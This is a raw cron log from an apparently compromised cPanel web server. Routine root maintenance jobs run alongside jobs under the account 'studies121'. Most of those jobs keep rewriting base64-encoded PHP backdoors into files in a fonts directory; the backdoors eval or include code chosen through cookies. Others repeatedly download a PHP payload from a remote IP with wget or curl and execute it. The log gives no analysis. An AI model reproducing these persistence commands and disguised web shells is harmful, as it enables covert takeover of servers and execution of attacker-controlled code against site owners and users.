Sep 10 05:45:01 ip-184-168-122-23 CROND[11463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:45:01 ip-184-168-122-23 CROND[11465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:46:01 ip-184-168-122-23 CROND[11591]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:46:01 ip-184-168-122-23 CROND[11594]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:46:01 ip-184-168-122-23 CROND[11596]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 05:46:01 ip-184-168-122-23 CROND[11593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:46:01 ip-184-168-122-23 CROND[11595]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:46:01 ip-184-168-122-23 CROND[11597]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 10 05:46:01 ip-184-168-122-23 CROND[11598]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:47:01 ip-184-168-122-23 CROND[11724]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:47:01 ip-184-168-122-23 CROND[11726]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:47:01 ip-184-168-122-23 CROND[11728]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:47:01 ip-184-168-122-23 CROND[11727]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:48:01 ip-184-168-122-23 CROND[11828]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:48:01 ip-184-168-122-23 CROND[11831]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:48:01 ip-184-168-122-23 CROND[11830]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:48:01 ip-184-168-122-23 CROND[11832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:48:01 ip-184-168-122-23 CROND[11833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:49:01 ip-184-168-122-23 CROND[12019]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:49:01 ip-184-168-122-23 CROND[12022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:49:01 ip-184-168-122-23 CROND[12020]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:49:01 ip-184-168-122-23 CROND[12021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12126]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12129]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12131]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12135]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:50:01 ip-184-168-122-23 CROND[12138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:50:01 ip-184-168-122-23 CROND[12139]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:50:01 ip-184-168-122-23 CROND[12137]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:51:01 ip-184-168-122-23 CROND[12290]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:51:01 ip-184-168-122-23 CROND[12293]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:51:01 ip-184-168-122-23 CROND[12292]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:51:01 ip-184-168-122-23 CROND[12294]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:52:01 ip-184-168-122-23 CROND[12415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:52:01 ip-184-168-122-23 CROND[12417]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:52:01 ip-184-168-122-23 CROND[12420]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:52:01 ip-184-168-122-23 CROND[12419]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:52:01 ip-184-168-122-23 CROND[12421]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:53:01 ip-184-168-122-23 CROND[12534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:53:01 ip-184-168-122-23 CROND[12535]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:53:01 ip-184-168-122-23 CROND[12533]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:53:01 ip-184-168-122-23 CROND[12536]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:54:01 ip-184-168-122-23 CROND[12674]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:54:01 ip-184-168-122-23 CROND[12676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:54:01 ip-184-168-122-23 CROND[12679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:54:01 ip-184-168-122-23 CROND[12677]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:54:01 ip-184-168-122-23 CROND[12678]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:55:01 ip-184-168-122-23 CROND[12806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:55:01 ip-184-168-122-23 CROND[12809]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 05:55:01 ip-184-168-122-23 CROND[12810]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:55:01 ip-184-168-122-23 CROND[12812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 05:55:01 ip-184-168-122-23 CROND[12811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:55:01 ip-184-168-122-23 CROND[12808]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:56:01 ip-184-168-122-23 CROND[12953]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 05:56:01 ip-184-168-122-23 CROND[12954]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 05:56:01 ip-184-168-122-23 CROND[12957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 05:56:01 ip-184-168-122-23 CROND[12959]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 05:56:01 ip-184-168-122-23 CROND[12960]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:57:01 ip-184-168-122-23 CROND[13189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 05:57:01 ip-184-168-122-23 CROND[13193]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
